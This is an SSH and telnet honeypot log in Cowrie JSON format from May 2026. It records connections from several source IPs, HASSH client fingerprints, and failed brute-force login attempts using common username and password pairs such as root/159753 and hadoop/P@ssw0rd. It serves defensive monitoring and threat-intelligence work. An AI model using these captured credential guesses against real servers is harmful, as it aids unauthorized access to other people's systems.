{"eventid":"cowrie.login.failed","username":"root","password":"159753","message":"login attempt [root/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:52.525575Z","src_ip":"43.128.86.117","session":"465e646ebb29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":19668,"dst_ip":"159.203.135.109","dst_port":22,"session":"19403959629c","protocol":"ssh","message":"New connection: 94.26.106.229:19668 (159.203.135.109:22) [session: 19403959629c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:52.869403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:52.873883Z","src_ip":"94.26.106.229","session":"19403959629c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:52.958440Z","src_ip":"94.26.106.229","session":"19403959629c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:53.214418Z","src_ip":"94.26.106.229","session":"19403959629c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47244,"dst_ip":"159.203.135.109","dst_port":22,"session":"02073b9b5a76","protocol":"ssh","message":"New connection: 45.156.87.204:47244 (159.203.135.109:22) [session: 02073b9b5a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:53.308477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:53.313437Z","src_ip":"45.156.87.204","session":"02073b9b5a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:53.416750Z","src_ip":"45.156.87.204","session":"02073b9b5a76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:53.677065Z","src_ip":"45.156.87.204","session":"02073b9b5a76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:53.772565Z","src_ip":"43.128.86.117","session":"465e646ebb29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.253106594085693,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:53.815832Z","src_ip":"152.42.224.71","session":"96504e692430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:54.301276Z","src_ip":"94.26.106.229","session":"19403959629c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":54022,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ad08d5d459c","protocol":"ssh","message":"New connection: 94.26.106.229:54022 (159.203.135.109:22) [session: 8ad08d5d459c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:54.531344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:54.535679Z","src_ip":"94.26.106.229","session":"8ad08d5d459c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:54.623093Z","src_ip":"94.26.106.229","session":"8ad08d5d459c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:54.761989Z","src_ip":"45.156.87.204","session":"02073b9b5a76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"P@ssw0rd","message":"login attempt [hadoop/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:54.878191Z","src_ip":"94.26.106.229","session":"8ad08d5d459c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:55.966748Z","src_ip":"94.26.106.229","session":"8ad08d5d459c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":54026,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b0b946a5ba2","protocol":"ssh","message":"New connection: 94.26.106.229:54026 (159.203.135.109:22) [session: 4b0b946a5ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:56.687777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:56.692480Z","src_ip":"94.26.106.229","session":"4b0b946a5ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:56.869577Z","src_ip":"94.26.106.229","session":"4b0b946a5ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47256,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d70fd1ff028","protocol":"ssh","message":"New connection: 45.156.87.204:47256 (159.203.135.109:22) [session: 3d70fd1ff028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:56.893802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:56.899200Z","src_ip":"45.156.87.204","session":"3d70fd1ff028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:56.990759Z","src_ip":"45.156.87.204","session":"3d70fd1ff028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:57.244835Z","src_ip":"45.156.87.204","session":"3d70fd1ff028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:57.322831Z","src_ip":"94.26.106.229","session":"4b0b946a5ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.9604856967926,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:57.841577Z","src_ip":"152.42.224.71","session":"e19a2899c733","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:58.329344Z","src_ip":"45.156.87.204","session":"3d70fd1ff028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:58.409376Z","src_ip":"94.26.106.229","session":"4b0b946a5ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50644,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcef68d8ebce","protocol":"telnet","message":"New connection: 152.42.224.71:50644 (10.17.0.5:23) [session: bcef68d8ebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:58.925868Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":54034,"dst_ip":"159.203.135.109","dst_port":22,"session":"283758cb6306","protocol":"ssh","message":"New connection: 94.26.106.229:54034 (159.203.135.109:22) [session: 283758cb6306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:59.385554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:59.390141Z","src_ip":"94.26.106.229","session":"283758cb6306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:59.474612Z","src_ip":"94.26.106.229","session":"283758cb6306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":59140,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccdc9d2770f8","protocol":"ssh","message":"New connection: 47.237.167.49:59140 (159.203.135.109:22) [session: ccdc9d2770f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:59.664690Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"pass","message":"login attempt [deploy/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:59.727850Z","src_ip":"94.26.106.229","session":"283758cb6306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47258,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8ef5c55d1d0","protocol":"ssh","message":"New connection: 45.156.87.204:47258 (159.203.135.109:22) [session: d8ef5c55d1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:00.495669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:00.656318Z","src_ip":"45.156.87.204","session":"d8ef5c55d1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:00.660469Z","src_ip":"45.156.87.204","session":"d8ef5c55d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:00.814558Z","src_ip":"94.26.106.229","session":"283758cb6306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:01.031412Z","src_ip":"45.156.87.204","session":"d8ef5c55d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":54050,"dst_ip":"159.203.135.109","dst_port":22,"session":"7820c0de4d32","protocol":"ssh","message":"New connection: 94.26.106.229:54050 (159.203.135.109:22) [session: 7820c0de4d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:01.514408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:01.519362Z","src_ip":"94.26.106.229","session":"7820c0de4d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:01.611253Z","src_ip":"94.26.106.229","session":"7820c0de4d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nina","password":"nina","message":"login attempt [nina/nina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:01.877321Z","src_ip":"94.26.106.229","session":"7820c0de4d32","protocol":"ssh"}
